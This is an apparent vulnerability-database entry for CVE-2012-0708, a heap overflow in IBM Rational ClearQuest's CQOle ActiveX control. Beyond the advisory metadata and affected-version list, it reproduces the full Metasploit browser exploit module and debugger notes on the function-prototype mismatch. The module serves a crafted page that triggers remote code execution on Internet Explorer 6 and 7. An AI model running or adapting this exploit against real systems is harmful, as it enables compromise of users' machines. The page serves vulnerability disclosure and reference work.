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CVE Descriptions
Heap-based buffer overflow in the Ole API in the CQOle ActiveX control in cqole.dll in IBM Rational ClearQuest 7.1.1 before 7.1.1.9, 7.1.2 before 7.1.2.6, and 8.0.0 before 8.0.0.2 allows remote attackers to execute arbitrary code via a crafted web page that leverages a RegisterSchemaRepoFromFileByDbSet function-prototype mismatch.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 19576
Publication date : 2012-07-04 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "7.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:classid => "{94773112-72E8-11D0-A42E-00A024DED613}",
:method => "RegisterSchemaRepoFromFileByDbSet",
:rank => NormalRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "IBM Rational ClearQuest CQOle Remote Code Execution",
'Description' => %q{
This module exploits a function prototype mismatch on the CQOle ActiveX
control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which
allows reliable remote code execution when DEP isn't enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi aka rgod', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0708' ],
[ 'BID', '53170' ],
[ 'OSVDB', '81443'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-113/' ],
[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ],
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# cqole.dll 7.1100.0.150
[ 'Automatic', {} ],
[ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite
],
'Privileged' => false,
'DisclosureDate' => "May 19 2012",
'DefaultTarget' => 0))
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[1] #IE 7 on Windows XP
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[1] #IE 7 on Windows Vista
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
object_id = rand_text_alpha(rand(8) + 4)
dbset_value = rand_text_alpha(rand(8) + 4)
var_payload = rand_text_alpha(rand(8) + 4)
html = <<-EOS
<html>
<body>
<object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>
<script language="JavaScript">
var #{var_payload} = unescape("#{js_code}")
#{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
</script>
</body>
</html>
EOS
html = html.gsub(/^\t\t/, '')
print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
* RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called:
Breakpoint 0 hit
eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
MFC80U!_AfxDispatchCall+0xe:
78371062 ffd0 call eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}
* RegisterSchemaRepoFromFile prototype (it is going to be executed):
.text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *)
his ret is: retn 4
* RegisterSchemaRepoFromFileByDbSet prototype (it should be executed):
.text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *)
his ret is: retn 8
* When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens:
0:000> p
eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MFC80U!_AfxDispatchCall+0x10:
78371064 c3 ret
0:000> dd esp
0013e208 001dcff4 7835f5d2 fffffffe 78336a3a
ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on
the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is
disabled
=end
Products Mentioned
Configuraton 0
Ibm>>Rational_clearquest >> Version 7.1.1
- Ibm>>Rational_clearquest >> Version 7.1.1 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 7.1.1.1
- Ibm>>Rational_clearquest >> Version 7.1.1.1 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 7.1.1.2
- Ibm>>Rational_clearquest >> Version 7.1.1.2 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 7.1.1.3
- Ibm>>Rational_clearquest >> Version 7.1.1.3 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 7.1.1.4
- Ibm>>Rational_clearquest >> Version 7.1.1.4 (Open CPE detail)
Configuraton 0
Ibm>>Rational_clearquest >> Version 7.1.2
- Ibm>>Rational_clearquest >> Version 7.1.2 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 7.1.2.1
- Ibm>>Rational_clearquest >> Version 7.1.2.1 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 7.1.2.2
- Ibm>>Rational_clearquest >> Version 7.1.2.2 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 7.1.2.3
- Ibm>>Rational_clearquest >> Version 7.1.2.3 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 7.1.2.4
- Ibm>>Rational_clearquest >> Version 7.1.2.4 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 7.1.2.5
- Ibm>>Rational_clearquest >> Version 7.1.2.5 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 7.1.2.6
- Ibm>>Rational_clearquest >> Version 7.1.2.6 (Open CPE detail)
Configuraton 0
Ibm>>Rational_clearquest >> Version 8.0.0
- Ibm>>Rational_clearquest >> Version 8.0.0 (Open CPE detail)
Ibm>>Rational_clearquest >> Version 8.0.0.1
- Ibm>>Rational_clearquest >> Version 8.0.0.1 (Open CPE detail)
References
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